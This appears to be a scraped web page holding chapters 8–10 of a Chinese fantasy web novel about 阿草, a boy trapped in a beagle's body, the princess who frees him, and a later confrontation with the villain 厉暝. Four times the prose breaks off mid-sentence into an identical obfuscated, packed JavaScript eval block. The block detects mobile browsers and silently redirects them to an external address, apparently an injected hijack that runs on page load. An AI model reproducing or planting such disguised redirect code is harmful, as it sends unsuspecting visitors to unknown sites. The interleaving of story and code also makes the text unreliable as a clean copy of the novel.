;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929917|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出去玩,他绝对不会给这样的小女孩当“忠仆”,他要反过来让公主依赖他,甚至崇拜他,找机会……找机会做什么?
阿草也不知道。
于是阿草愤愤地把刚换上的床品全用口水嗦了一遍。
嗦完后他神清气爽,得意洋洋地跑到丰荣区的一个躲避屋下睡着了。他甚至做了个美梦,梦中的公主殿下来找他玩,走进狗别墅后伸手摸了摸被子,摸到一手口水。
阿草在金色的柔光中醒来。
他其实没睡多久,毕竟白天睡了太多,晚上很容易睡不着。他一开始以为金色的光是天花板投影变换出的新花样,等他眨眨眼睛,定睛向躲避屋外看去,才发现原来是公主在发光。
她没戴白天的繁重金饰,只穿一条睡裙,侧坐在跷跷板的一端托腮看着阿草。不知道为什么,她全身由内而外地散发金色的柔光,就像埋藏在幽深洞穴的纯金一样。
阿草看直了眼,差点主动开口说话。他深吸一口气稳定心神,把自己装成一只真正的比格犬,友好地冲公主摇了摇尾巴。
公主从跷跷板上站起来,走到他面前蹲下,和他对视一会,放下一个三明治,然后走了。
阿草再次懵了。
在他的设想中,公主应该偷偷来找他,开心地摸他,要求他陪自己玩,不断问你其实是人吧,你看我多聪明,一见面就发现你不是狗。而阿草则保持高冷的面孔,最后一刻才开口说话,然后讲些公主不知道的东西镇住她,在这段主仆关系中占据主导权。
以上内容都没有发生,公主殿下确实是偷偷来的,她没走正门,阿草亲眼看见她化作一道金色的影子穿墙离开,但她不说话,她对阿草没有兴趣,她只给阿草带饭,而且是冰饭,凉凉的挂着冰渣。
第一天晚上是三明治。
第二天,阿草把被套嗦了一遍,公主给他带的是咖喱饭,冰的。
第三天,阿草把地毯嗦了一遍,公主给他带的是番茄肉酱面,冰的。
第四天,阿草把床单嗦了一遍,公主给他带的是薯条和汉堡肉,冰的。
第五天,阿草嗦不动了,也不想吃饭。
他倒不是不能吃冰饭,他乐意吃任何饭,狗粮也吃得很开心,而且吃得一滴不剩,连饭碗都舔到不用洗的程度。但他想破脑袋也想不明白,公主这么做的意义是什么。在他的设想中,公主的目的如果是“获得一个忠心的仆人”,那她应该给阿草吃点好的,至少和阿草说说话呀。
第五天,公主放下一盘烤肉配蒜香面包,阿草终于忍不住了,但他是只矜持的狗,要坚守住最后的伪装,他夹着嗓子用气泡音说话:“是冰的。”
公主停下离开的脚步,她说:“怪不得看起来和书上的不一样。”
阿草惊呆了,他特别想问那你平时吃什么,难道不吃饭喝露水吗?连食物都只从书上见过。
公主走回他面前,把手放在盘子边缘。金黄色的光从她手中浮现,阿草目不转睛地看着,他不清楚这是什么,但一定是很厉害的能力,是黄金血脉在黄金城中才能拥有的能力。
然后他眼睁睁看着面包燃烧起来。
“我的饭!”阿草像只鸭子一样惨叫,连气泡音都忘夹了。
烤肉与蒜香面包碳化啦。
8. 我的毛软吧
作为补偿,公主带阿草去厨房找东西吃。
这是阿草五天以来第一次离开狗乐园,他其实有很多话想说,有很多问题想问,比如公主为什么从一群狗里选中他,公主为什么不介意他不是狗,公主为什么只送饭不说话。
但先问出口的是一个怪问题:“你为什么不飘着走路?”
阿草恨不得把手从狗皮里掏出来,伸出两根手指比划出她那天飘来飘去的姿势。但人手和狗皮融合在一起,他只能神经质地啃咬腕关节。
公主赤/裸双脚踩在光可鉴人的地面上,她走得很轻快,像是极其享受这种夜游的感觉。
“我不喜欢。”她回答。
“那你在宠物商店里为什么飘着走?”
公主低头看了阿草一眼,没有直接回答,而是问:“你为什么在一条狗的身体里?”
她从来没有低头看过阿草,一直都是蹲下平视或垂下视线俯视。不知道为什么,发现她低头看过来,阿草竟然感觉到一丝诡异的快乐。
他狡辩:“我就是狗呀,当然在狗的身体里。”
“你多大了?”
“十三。”
公主若有所思。
阿草立刻意识到自己暴露了,十三岁的狗胡子都白了,怎么可能看上去才四个月大。
公主没有揭穿他,只是说:“你和我一样大。”
她的能力似乎可以在城堡内无限制穿梭,他们无视墙壁和地板,路过好几个熟睡的仆人,畅通无阻地来到位于负一层的中央厨房。
冰柜上全是智能锁,料理台比阿草舔过的碗还干净,这里没有一口吃的。
阿草有种不妙的预感。
公主看上去对整个城堡无比熟悉,她穿越厨房带着狗进入仆人们的休息室,自然而然地拉开冰箱。
“你吃什么?”
阿草简直哭笑不得,所以他五天以来的食物都是公主殿下从仆人的冰箱里给他偷的,他问:“丢了吃的不会有人查吗?”
“不会。”公主狡黠地笑了,“我一直努力散播鬼故事,告诉他们开国皇帝的鬼魂飘荡在城堡里,晚上不要出门,白天发现怪事也不要大惊小怪。”
她的表情相当灵动,和宠物商店里的笑容重合了。阿草刚刚还想套她的话,问一些皇室秘闻,现在只想和她一起好好吃顿饭。
阿草问:“我们吃了别人还有吗?”
“这里是厨房,永远不缺食物。”
“会有人因食物消失被惩罚吗?”
“怎么可能?”公主不解地歪歪头,“鬼魂吃的,而且是开国皇帝的鬼魂。”
阿草放心了:“我想吃烤肉。”
公主望着冰箱没有动,阿草换个说法:“我们吃烤肉吧?一起吃。”
“我不吃,哪个是烤肉?”
“……从上往下数第三格第二个盒子。”
阿草偷偷拿身体贴了贴公主的腿,感受到温热光滑的皮肤后才松了口气。他知道皇室成员不食人间烟火,但公主对食物的了解匮乏到不像活人,他差点以为她就是故事里的那位鬼魂皇帝。
在他的指挥下,公主成功把烤肉和米饭加热了——用的当然是机器。
阿草再次确认:“你真不吃?”
公主摇了摇头。
阿草嗷呜一声把自己埋进饭里,他的吃相极其搞笑,先把嘴巴张到最大,尽可能多地包住饭和肉,然后一阵猛嚼,嚼得稍微碎一点便迫不及待吞下去,如此反复循环,不像狗吃饭,像是一辆在工作的挖掘机。
吃完食物,他毫不犹豫地把头扎进去,开始舔盘子,致力于舔过每一个角落,舔到不用刷的程度。
公主殿下神情微妙,她把盘子举起来,对光看了看,发现盘底能当镜子用,她问:“你不会真是狗吧?”
“对,我就是狗呀。”阿草痛快承认了,他鼓着肚皮仰躺在地板上。吃饱喝足后,他的脑子开始转了,至少不会出现先说自己是狗再说今年十三岁的低级失误,他想从公主嘴里问出点什么。
阿草翻了个身,用鼓鼓的肚皮覆盖公主的脚,友好询问:“你怎么不吃东西?”
“我不想吃。”
“不想吃和不认识是两回事,你的反应像从来没吃过饭。”
公主低头看他:“你为什么趴在我的脚上?”
“给你暖脚,我的毛软吧?”
肚皮下的脚轻微挪动两下,公主承认:“确实挺软。”
“嘿嘿。”阿草得意极了,“我刚刚诚实回答了你的问题,作为交换,你要回答我的问题。”
他的一只爪子撑在下巴上,另一只爪子垫在身/下,摆出一副自以为很帅气的姿势。公主殿下被他逗笑了:“你快起来,别这样趴着,我确实不吃饭,我吃黄金。”
她说的肯定是实话,但阿草说:“我没想问这个。”
“那你要问什么?”
“我的问题是。”阿草摆正身体,看上去很严肃,“你为什么从一群小狗里选中我?”
“你就问这个?”
“我想知道。”阿草很执着。
公主殿下蹲下来直视阿草的眼睛:“我可以摸摸你吗?”
她竟然在摸之前征求意见,阿草意外极了,他点头同意,公主边摸边说:“我只是觉得人不应该被关在狗笼子里。”
阿草哑然。
真相竟然如此简单,公主的语气就像描述天黑了该睡觉,肚子饿了要吃饭,太阳从东边升起。
他想过很多种解释,甚至预设立场,把公主当成想收服忠仆的君主,把自己当成叛逆的狗,唯独没把自己当成人。
你看,连他都把自己当狗,世界上却还有人愿意把他当人看。
恍惚间,他生出一丝荒谬的感觉:那么我之前受的委屈又算什么?
八岁的阿草被百八面婆婆带到戏班子,被按着跪在地上给一个叫老狗的男人磕头,老狗一身烂皮,冲他嘿嘿一笑,给他换上一身小西装带去宠物商店挑小狗。
那是阿草第一次穿上那么好的衣服,他以为自己的人生也会变好,结果老狗告诉他,他必须和亲自挑选的狗同吃同住。从那天起,他不能把自己当成人,只能做一条狗。
和他一起来八个小孩病死三个,被狗吃了一个,跑了一个,被家里人赎走一个,还有两个杀死同笼的小狗,然后老狗把他们杀了。
只有阿草,只能是阿草,他在种植园里吃了太多的苦,以至于觉得住在狗笼子里不算苦。他也不可能杀死亲自选的比格幼犬,因为那是条病狗,和阿草同笼的第一天就把他传染了,狗没力气咬他,他没力气杀狗,他也不想杀狗。
挑狗时,他被打扮得像个小少爷,以为自己要过上好日子,于是他生出怜悯之心。
多可笑啊,他想救那条生病的比格。
重病的阿草感受不到时间的流逝,他只知道有一天,给戏班子送饭的人和老狗说:笼子里的两条狗好像死了一条,你快去看看。
采生折割成功了,阿草就是活下来的那条狗。
没有人说过:我只是觉得人不应该被关在狗笼子里。
从来没有人说过。
阿草发疯般啃咬前爪的腕关节,就算幼犬的牙不锋利,他的力度也能把骨头咬出令人牙酸的咯吱声。
公主问:“你怎么了?”
阿草根本没听见。
直到这时,公主才发现她不知道阿草的名字,她大声喊:“喂!你怎么了?”
他什么也听不见,电流般的耳鸣声从左耳贯穿到右耳,眼前的视野浮起一圈血色。那些人,妈妈、百八面、种植园的奴隶、班主、老狗、花瓶女孩闪回般一一出现在他面前,他们的脸不断放大,然后扭曲,最后重新组合。双手如果还在,他能把他们推开,但他是条狗,他只能疯狂地撕咬,疯狂地撕咬,像衔尾之蛇,靠自我吞噬来否认存在。
然后他的嘴被抓住了。
“别咬了!”公主命令。
她一手攥住阿草的嘴筒,一手抓着他的前爪,将他半提在空中。
理智回笼,阿草的眼睛里出现一丝歉意,公主把他放回地面。
“抱歉。”他说。
公主的手上全是他的口水和狗毛,她不着急洗手,而是凝重地看着阿草:“你怎么了?”
“想到了以前的一些事,不太开心。”
“是什么事呢?”
阿草不说话,他低头研究被啃得又秃又肿的腕关节,不敢看公主的眼睛。
“算了。”公主看出来他不想说,“你叫什么名字?”
“阿草,叫我阿草。”他匆匆瞥了一眼公主的手,“很脏,去洗洗吧。”
公主笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929918|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了:“知道脏你还用口水涂床单?”
阿草低下头,垂着耳朵夹着尾巴塌着眉骨,从下往上看她,露出下方的眼白。
公主笑得更大声,笑完她说:“怎么像做错事一样?”
“那些床品是珊瑚绒材质,本来就是给你准备的,因为我听说珊瑚绒能让小动物想起妈妈。”
阿草怔住了。
他突然问:“你好像不怕我,也不觉得我奇怪,如果我是什么坏人,是个想杀你的刺客,你怎么办?”
“你不是,没有刺客会在伪装成狗后突然情绪失控,爆发出那么强的恨意。”公主站起来到水池边洗手。
她继续说:“真正的刺客也逃不过进宫后的检验程序,那道程序我给你避开了,不过你要小心,不能暴露身份,尤其在丹玛斯面前,他是内廷总管,是我母皇最信任的奴隶。”
“他是一只吸血鬼,陪伴我母皇快300年了,年纪大了脑子也生锈,你要小心……嘶,这个不能浪费。”
“怎么了?”阿草往洗手台上跳。
“被你的牙划破了一点。”公主捏住手指的伤口,用力挤出血珠。
阿草睁大眼睛,他从没见过那样的血,血珠晶莹剔透,包裹着金色的粉末,粉末好似物质湮灭后的尘埃,在血珠中不断流动,小小的血珠仿佛一个微观世界。
“张嘴。”公主命令。
身体比大脑更快接收指令,阿草糊里糊涂地张大嘴巴,血珠被公主涂抹在他的舌根,嘴筒再次被攥住。
很难形容是什么感觉,那滴血珠完全没有血腥味,它好像自带热量,在阿草的舌根上化开。他的心跳随之加速,前爪的腕关节处也跟着变热。阿草挣脱公主的手,低头去看爪子,爪子竟然不肿了。
皇室凭什么是皇室?
当初的念头再次席卷阿草的脑海,他盯着前爪猛看,觉得自己能给出问题的答案——因为神奇的黄金血脉。
他生出一种手足无措的感觉,他实在不明白公主把他买回来是为了什么。
他是这么想的,也这么问了:“所以你买我要做什么?”
“不做什么。”公主又在笑,好像被他逗得很开心,“我最初去宠物商店,是真的想买一条狗。”
阿草注视着公主金色的眼睛,暗中做了一个决定:那么我来做一条狗应做的事。
她摸了摸阿草的头:“你看,我觉得人不应该被关在狗笼子里,别人不那么觉得。世界上还有很多很多人被关在笼子里,我对此无能为力,但你当时正好出现在我面前,我只是做了我能做的事。”
“可你是公主呀。”阿草下意识反驳,“你是未来的女皇,你可以让人们遵从你的意志。”
公主好笑地看着他:“我不喜欢飘着走路。”
阿草知道她想说什么了,她作为皇室无法为所欲为,她不喜欢的事情也必须做,她在店里蹲下都会被大臣唠叨,原来公主不是他想象中想做什么就做什么的小女孩。
公主突然问:“你当时在想什么?”
“什么想什么?”阿草装傻。
“宠物商店里,你在想什么?”
阿草试图蒙混过关:“我在想妈妈。”
公主不语,只是注视着阿草,阿草狼狈躲避她的视线:“我在想……贵族凭什么是贵族,奴隶为什么是奴隶。”
这是谎言,他隐瞒了最危险的想法,皇室凭什么是皇室,他不敢说出来。
“实际上,我在去宠物商店的路上也在思考相似的问题。”公主垂下眼睫,陷入沉思,“有人告诉我,随着生产力的发展,奴隶制度早该和皇室一起自然消亡了。”
“我们的宇宙拥有多种文明,飞艇能航行在各个维度之间,发达的科技早已解决基本的生存问题。但是奴隶制和帝制却保留至今,阶级的差异大到恐怖,奴隶在其他阶级眼中仿佛是另一个物种。”
“我猜我在思考这个问题时露出的神情和你当时的神情相似,但我最终没有得到答案。”
阿草张大嘴巴,闭上,又张大嘴巴,又闭上,他震惊到麻木:“告诉你这些的是谁,他不怕死吗?”
公主回答:“我父亲说的。”
阿草彻底麻木了。同时,他的另一个疑问得到了答案。公主为什么这么“正常”,正常到不像一位公主,因为她父亲或许不太正常。
9. 你有别的狗了
昔日的公主殿下猛然松开掐住脖颈的手,强行中断记忆回放。
厉暝,不,或许应该叫他阿草,他身体痉挛着抽动两下,仿佛从噩梦中惊醒。
朝暮盯着自己的手看了一会,狐疑地打量身/下的男人。男人顶着厉暝的脸傻兮兮回视,他好像在说梦话:“你和公主殿下长得好像,她曾经从一群小狗里一眼选中我。”
一阵沉默。
“你不是阿草。”朝暮从男人的胸膛上站起来,她神情漠然,“阿草死了。”
“我就是阿草!阿草没死,你刚刚看到我的记忆了!”
朝暮维持居高临下的姿势审视他,半晌才开口:“阿草即使活着,现在也是一条狗。”
“阿草一直不肯告诉我他为什么在狗的身体里,他死后我亲自去查,发现把人变成狗的方式有很多,最符合阿草情况的是一种失传的巫术,叫三重联想律,来自一个叫画皮的灵异维度。这种巫术被用来替代别人,修习到最后,施术者会失去自我,完全变成他想替代的人。”
“教他巫术的人想必不知道巫术的名字,也不知道巫术的最终用途,很可能只有巫术残本,才会放任阿草用这么神奇的巫术去替代一条狗。阿草误打误撞成功了,他陪伴我几年,越来越像狗,逐渐失去自我。”
“他是怎么死的?”男人意识到不对,立刻改口,“我是怎么死的?”
“变成狗死的。”朝暮平静回答,她重新戴上白色作战手套。
“你在撒谎。”男人紧紧盯着她的眼睛,他一字一顿地说出这四个字时丝毫没有作为下位者的自觉。
他的性命被朝暮捏在手心,却毫不客气地反驳:“我肯定死在彻底变成狗前,我不可能留下一具空荡荡的躯壳让你一看见就难过。”
“我不会难过……”朝暮吞下后半句话,我希望阿草至少留下一具躯壳。
“所以我死前保留了作为人的神志,对吧?”男人像是解读出她的后半句话,紧接着追问,“我是怎么死的?”
死在火海里,尸骨全无。朝暮默默回答。
面前的男人长得和厉暝一模一样,说话的语气和神态却像极了阿草。
对别人来说,分辨出一只狗的神态有些困难,但对朝暮来说像吃饭喝水一样简单。阿草死后,她一遍遍咀嚼回忆,在脑海中描摹他的形象,只为了不忘记他。
扣上手套的金属纽扣,朝暮抱刀望着面前的男人,一句话也不说。
男人急了:“我最近一个月才恢复意识,醒来后什么都不知道,只记得自己叫厉暝,是世纪互娱的总裁,每天必须打卡上班,但我潜意识里总觉得自己是条狗。在潘德莫生活一个星期,我发现世界是假的,身边全是摄像头。”
他神经质地搓揉手腕,继续说:“我晚上溜出房子向外跑,跑到潘德莫的边界,然后晕过去了,再醒来时发现自己还在房子里。那一刻,我真的以为自己生活在恐怖小说中,如果不是总做同一个梦,梦里有……我可能坚持不到你来找我。”
朝暮好奇:“梦里有什么?”
“你别管有什么!我就是阿草!不信你可以再掐一次脖子,我肯定有更多记忆能证明身份!”他急得抓住朝暮的手往脖子上放。
朝暮竟然没把手抽出来,她的手被战术手套包裹着,碰不到皮肤触发不了记忆,男人更急了,笨拙地去解手套上的扣子。
他这副样子很像阿草无赖地躺在草地上翻肚皮,逮住机会就咬人脚踝,朝暮差点没忍住笑意,她板着脸打掉男人手:“行吧,先叫你阿草,你至少成功证明自己不是厉暝。”
“啊?我证明什么了?厉暝到底是谁?你好像要杀他。”
厉暝不会竹筒倒豆子一样把来历全说出来,他会说得半遮半掩,同时美化自己的做法夸大自己的功劳,也不会哼哼唧唧地拉着她的手,差点就地打个滚。
阿草大声喊冤:“我真的是阿草,你把我当成厉暝了吗?你为什么想杀厉暝?”
朝暮深吸一口气,抬手捏住阿草的嘴,像捏住比格的嘴筒,制止比格werwer的大叫声。
世界安静了。
“厉暝曾杀死我的爱人,抢走我父亲的遗物。”
阿草用被捏住的嘴努力发出鸭子一样的叫声:“我死在厉暝手里吗?”
“不是——”
朝暮刚说出两个字就被打断了,阿草抗议:“那你有别的狗了!你被杀死的爱人不应该是我吗?”
他挺直身体,目光灼灼,紧张兮兮地看着朝暮,厉暝的脸上出现这种表情太有违和感,可是阿草总喜欢鲤鱼打挺般翻身站直,挺起毛茸茸的胸膛,装得像条严肃的工作犬。朝暮一时陷入恶心与怀念的复杂情绪中,厉暝的脸让她生理性反胃,阿草熟悉的神情好似带着一股宠物香波的味道。
她松开手,不着痕迹地在阿草的西装上擦了擦口水,就像从前用比格的头毛擦手,然后她轻声呼唤:“阿草。”
世界又安静了,比捏住嘴还管用。
朝暮诚恳地说:“正常语境下提起爱人,一般指的是同为人类的成年异性恋人,而不是少年时的小狗朋友。”
“嗷。”阿草的神情短暂空白几秒。
他转了转眼珠,胡搅蛮缠:“你就是有别的狗了!”
“还有一种可能!”朝暮不得不提高一点音量,“你根本不是阿草,你只是一个被植入阿草记忆,被变成厉暝样子的可怜奴隶,你是用来对付我的陷阱。”
她停顿片刻,不忍心般闭了闭眼睛,语气低沉下来:“阿草死了,你不是阿草我也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929919|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会救你,我本来就准备把潘德莫的奴隶全部救出去。”
“我就是阿草!”
“你不是阿草,也不要成为阿草。”朝暮幽幽地说,“阿草为了我,选择和狗皮彻底融合,差点永远失去自我,又为了我赴身火海,死得尸骨无存。我……不想再看见一个生命为我付出这么多,那不值得。”
阿草呆住了。
趁他安静下来,朝暮费劲地从风衣内袋翻出耳麦联系塞拉:“找到维度入口了吗?”
毫无感情的机械女声有些迟疑:“没有找到入口,但是我们找到了张涵薇。”
.
把时间倒退到朝暮被骑摩托的改造人杀手袭击时。
“嗡嗡嗡——”
塞拉听见摩托车巨大的轰鸣声,她礼貌询问:“喂,会长,请问您还活着吗?”
通讯矩阵没有应答,灵真立刻炸毛:“会长怎么了?是敌袭吗?”
“根据我的数据库分析,会长有89.2%的概率正处于愉悦杀人的状态。”
“剩下百分之十呢?”灵真焦虑到想咬尾巴。
“我必须纠正你,10.8%不等于10%……”
“你说点有用的!”
塞拉没有用预设好的面部表情,而是努力调动仿真肌肉做出一个意味深长的神情:“会长可能遭遇了某些状况,某种你懂她懂,唯独智械体简陋的情感矩阵无法理解的状况,她选择主动切断通讯保护隐私。”
灵真崩溃极了:“求求你塞拉,等事情结束快更新你那情感矩阵,再换掉脸上的仿真肌肉。说真的,我愿意出钱请律师帮你打官司,黑心医生把你的脸做得比我弟弟还僵。”
智械体塞拉的数据神经元一直连接在世纪号的总控制台上,借助飞艇的算力定位潘德莫。塞拉脸上的仿真肌肉抽搐两下恢复正常,她汇报:“经监测,定位目标处于持续漂移状态,短时间内无法锁定潘德莫入口。”
“飞艇上肯定有人知道入口在哪。”灵真果断站起来,“李敬,和我走!你认识运维部的人吧?跟我去绑几个组长,我们——”
“不用去了。”
灵真的话被打断,满身是血的张涵薇赤脚走进控制室,四五个兽人手持脉冲枪紧张地指着她,她单手拎着高跟鞋,一步一个血脚印走到塞拉与灵真面前,她抬头露出一个商业化的笑容:“不要去,人都被我杀了。”
塞拉切换监控摄像头,果然看到运维部遍地的尸体,她在无数条数据神经元的帮助下转身,模仿人类眨了眨眼睛,机械女声没有丝毫感情:“请您主动告知此行为的意图,否则将被视为待清除目标。”
张涵薇用血液把碎发拢回耳后,她坦然提出要求:“给我一次和朝暮盟主通话的权限,我知道潘德莫的入口在哪。”
10. 理想国
潘德莫维度,市民广场。
自由冒险者协会的接管通知在所有屏幕循环播放,张涵薇被录下的会议报告响彻整个维度:“我们策划组给浪漫的爱情加入出轨、性/暴/力和血/腥元素,并用精神控制的方法……”
与此同时,朝暮捏着的耳麦里也传来张涵薇的声音:“向您问好,朝暮盟主。”
“刚刚有一个杀手也叫我盟主,你猜他现在在哪?”
只有经历过她和厉暝联盟时期的老成员才会叫她盟主,他们中的很多人原本是奴隶,现在却跟随厉暝一起用奴隶做直播。
“……我没有想冒犯您意思。”张涵薇苦笑,用了另一个称呼,“会长。”
朝暮将耳麦拿远一点,阿草立刻接过来替她举着,他恨不得变出条尾巴摇一摇。
张涵薇继续说:“您对我肯定没有印象,自我介绍一下,我本名N7481,是从繁殖场诞生的人类奴隶。我的妹妹是N7482,我们被人造子宫孕育,出生时就是成年形态,被贵族买去做仆人。”
“您和……救走我们后,我做了一个决定。”张涵薇模糊了厉暝的名字,她怕激怒朝暮。
“我与N7482装作不认识彼此,用毫不相干的新名字在联盟内工作。联盟解散后,我们用这套方法进入世纪互娱,企图靠直播赚够钱,找个农业维度好好生活。”
“N7482现在的名字叫章语。”
朝暮抱着刀站在原地,她冷漠地说:“别给我讲故事,直接说你想要什么?”
“想请您把我的妹妹带出潘德莫,并安置在您的维度里。没有人比我清楚那位粉丝有多疯狂,等她发现用1亿2000万买不到章语的命,会变得更疯狂。”
“就凭你知道潘德莫的入口?”朝暮奇道。
“我还愿意帮您持续性打开入口。”张涵薇补充,“我很清楚,即使把运维部杀光,知道入口的人也不止我一个,但您在短时间内很难找到第二个愿意配合的人,而且潘德莫的入口比较特殊,别人不一定像我一样了解它。”
朝暮摩挲着刀锷,似乎在判断信息的真假。
张涵薇认真解释:“潘德莫是一个很特殊的维度,它的出入口严格遵循一出一进规则,想进入潘德莫的人必须守在入口处,和维度内想出来的人同时穿越屏障。”
“怪不得世纪互娱不在潘德莫发展旅游业。”朝暮思考,“所以这是一个针对我的陷阱,我进入潘德莫是被设计好的,那么谁出去了?”
张涵薇微妙地沉默。
朝暮很快明白过来:“在我进来的同时杀死一个奴隶?”
死亡是最简单的离开。
张涵薇保持沉默,默认了她的猜测。
“厉暝要做什么?”
“我没资格知道,实际上我什么都不知道,不知道竞标杀人市场,不知道您征用我的运输飞船。”张涵薇苦笑。
将朝暮骗进难以离开的潘德莫,安排一个拥有厉暝长相和阿草记忆的人给她杀……
朝暮瞬间做出判断:“他在拖延时间!塞拉,全力配合张涵薇打开维度入口!我和章语分开前把风衣给她了,先定位风衣——等等!”
背后仅剩一只翅膀的狗族兽人鬼鬼祟祟地出现在她的视线范围内,兽人的一条手臂不自然弯曲,明显骨折了,他用完好的手臂持脉冲枪挟持着一个女人。
是沃夫.迅爪,从高空坠落后竟然还有行动能力,他一把揭下女人脸上的面具,女人身上的伪装如油画般褪色消失,露出本来的面目,是章语。
朝暮的手摸向刀柄。
“别拔刀!”沃夫死死盯着朝暮的手,“我知道脉冲枪没有你的刀快,我只是来传话的!”
他继续盯着朝暮,眼睛都不敢眨。他从怀里拿出一部终端机,将机器塞进章语手里,把章语往前一推,然后扭头就跑。
章语哭着跑过来,终端里传出熟悉的声音。
“很抱歉打扰你们密谋。”男人的声音犹如某种弦类乐器,低沉且彬彬有礼,“我对密谋的结果不感兴趣。”
一旁的阿草先不乐意了:“他怎么这么能夹?气泡音夹得还没我好听。”
阿草也开夹,他故作深情地看向朝暮:“你说是不是?”
听着像深海鱼噗噜噗噜吐泡泡。
终端机那头的男人意义不明地笑了笑。
“不对。”阿草后知后觉,“他的声音和我一模一样。”
“厉暝。”朝暮吐出这两个字的同时,一片黑压压的物体出现在城市的天际线处,像迁徙的候鸟。
飞行物铺天盖地压在高楼大厦的上空,等他们飞近了,人们才发现异常。
“是鸟吗?”
“不是鸟,它们有四肢!”
“啊啊啊啊,快跑!”
不是候鸟,而是实验失败的兽人尸体,它们背生畸形的肉翅,从死地爬回活人的世界。
厉暝的声音再次响起:“激活尸体用的时间比想象中长,不过效果看起来不错。”
朝暮一把夺过阿草手里的耳麦:“张涵薇,你妹妹在我身边,我会保护她,让灵真跟着你去找入口。塞拉,利用维度内显示屏指挥居民躲进大楼,活尸没有神志,无法进入地形复杂的建筑。”
“姐姐!”章语知道姐姐能听见,她下意识哭喊出声。
张涵薇匆匆交代:“照顾好自己,听会长的话。”
耳麦的蓝光熄灭,通讯被掐断了。朝暮望着天空中的黑影,压抑翻涌的怒火:“说出你的目的,厉暝。活尸伤不到我,你的维度也困不住我,你要做什么?”
“伤不到你,但伤得到维度里那些可怜的奴隶。”
“你拿他们威胁我?”
“对。”厉暝愉快地笑了,他劝告,“你看,为了让你进入维度,有人不明不白地死去;为了派出阻止你的杀手,又有无辜的人死去。这一切因你而起,想办法结束吧,否则会有更多人失去生命。”
“六年过去你没有一点长进,只会颠倒黑白,妄图制造愧疚。说吧,你到底要做什么?”
活尸从空中飞扑下来袭击人群,塞拉强行更改程序,控制维度内所有隐形摄像机自燃后攻击活尸,给人们争取逃跑的时间。
惨叫声、哭喊声和尸体燃烧的焦臭味占据感官,隔着终端机通话的厉暝自然感知不到这一切,他反问:“你要做什么?你的目的绝对不止带走奴隶这么简单。”
“别装傻。”朝暮冷笑,“我父亲的遗物在哪?我知道奴隶对你不重要,潘德莫才重要,只要维度还在,你随时能东山再起。把东西还给我,否则等潘德莫一空,我就把它整个从里向外劈开。”
“其实你现在就能把维度劈开,我从不怀疑你的实力。”厉暝赞叹,“你为什么不劈开呢?”
当然因为维度内的奴隶没有被接走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929920|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,计划被打乱。如果强行撕裂维度屏障,里面的人也会死。朝暮随手砍下几具飞扑而来的活尸,问:“你想要什么?直接说,别废话。”
“真让人伤心,我为你准备这么多,你还是那么冷漠。”
“准备了一个和你长相一样的活靶子?”
阿草的身体僵住了。
“你不喜欢吗?你不想知道他为什么有阿草的记忆吗?”
朝暮没有回答。
“我们来做一笔交易吧。”厉暝诱哄般说道,“我不仅告诉你他的来历,还可以终止竞标杀人市场的企划,保障潘德莫所有演员的权利,让一切回到正轨。”
“正轨?”朝暮古怪地重复,“你管他们的生活叫正轨?”
“难道不是吗?”厉暝反问,“这里是潘德莫,是超越现实的乌托邦,是我们当初憧憬的理想国。”
血气翻涌而上,朝暮的喉管里、鼻腔中似乎都涌起热流,愤怒和悔恨一起冲击灵魂,血脉中藏不住的东西悄悄探出触角。
记忆真是奇怪,越想记住的东西越容易遗忘,比如阿草身上绒毛的触感,她再怎么用力咀嚼回忆,故人的音容笑貌也会渐渐淡去,想要忘记的东西却偏偏能记牢。
那些糟糕的回忆躲藏在记忆宫殿最阴暗的角落,晃动着两条触须,随时准备展开油亮的翅膀袭击她。最痛苦的是,糟糕的回忆其实并不糟糕,反而是她当时境遇下的明亮点缀。每当光亮重新照向她,她都觉得自己才是阴暗的爬虫。
理想国,什么才是理想国?
在她看不见的地方,皮肤表层慢慢渗出金色的结晶,理智被一点点蚕食,眼前弥漫的血色中出现白色噪点,像她第一次见到厉暝。
